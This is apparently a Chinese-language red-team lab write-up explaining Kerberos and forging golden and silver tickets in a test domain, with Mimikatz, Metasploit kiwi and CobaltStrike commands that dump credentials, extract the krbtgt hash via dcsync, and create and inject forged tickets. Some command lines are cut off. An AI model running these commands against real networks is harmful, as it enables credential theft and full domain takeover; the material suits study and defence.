Kerberos认证
介绍
Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。
这个词又指麻省理工学院为这个协议开发的一套计算机软件。
认证流程
提示:
AS(Authentication Server) 认证服务器
KDC(Key Distribution Center) 密钥分发中心
TGT(Ticket Granting Ticket) 票据授权票据(票据的票据)
TGS(Ticket Granting Server) 票据授权服务器
ACL(Access Control Lists) 访问控制列表
DC(Domain Controller) 域控制器
AD(Active Directory) 活动目录
Client 客户端
Server 服务端
详细流程图
黄金票据
原理
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
票据条件:
- 域名称
- 域的 SID 值
- 域的 KRBTGT 账号的 HASH
- 伪造D的任意用户名
实验环境
机器:
12server4
AD01
域名:
redteam.club
Mimikatz
12server4上操作
信息收集
前提域管权限
#导出hash privilege::debug lsadump::dcsync /domain:redteam.club /all /csv(lsadump::lsa /inject) ##一条命令 mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.club /all /csv" "e
制作
#制作黄金票据 mimikatz.exe "kerberos::golden /admin:system /domain:redteam.club /sid:S-1-5-21-2536
导入
#清除票据 kerberos::purge #导入票据 kerberos::ptt C:\Users\ticket.kirbi
Metasploit
12server4上操作
system权限信息收集
#信息收集 load kiwi #导入kiwi模块 ##提示:以下需要system权限 creds_all #列举所有凭据 creds_kerberos #列举所有kerberos凭据 kiwi_cmd sekurlsa::logonpasswords #抓密码和hash
域管权限信息收集
#信息收集(需要域管权限) kiwi_cmd "lsadump::dcsync /domain:redteam.club /user:krbtgt" #krbtgt账户的密码hash值 kerberos_ticket_list #列举kerberos票据 kerberos_ticket_purge #清除kerberos票据
制作及导入
#制作金票 golden_ticket_create -d redteam.club -k 689fe33346a9e9fe229395fb36178ecb -u administrator -s S-1-5-21-2536581826-3274276096-3456299113 -t /home/kali/administrator.ticket #导入金票 kerberos_ticket_use /home/kali/administrator.ticket
CobaltStrike
AD01上操作
注意
在使用CobaltStrike4.7时,只有在AD上才能抓取到krbtgt的hash,二前两个有域管权限就可以
希望可以得到师傅们的指点
12server4:12server4\administrator
和redteam\administrator
均不成功
AD01:redteam\administrator
成功抓取
流程
1.抓取hash
2.shell whoami /all
3.制作金票
白银票据
原理
白银票据就是伪造的ST。在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
票据条件:
- 域名
- 域 SID(就是域成员SID值去掉最后的)
- 目标服务器的 FQDN
- 可利用的服务
- 服务账号的 NTLM Hash
- 需要伪造的用户名
这里就制作一个
mimikatz
12server4上操作
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
cifs
#命令格式 kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt #示例 kerberos::golden /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-34562991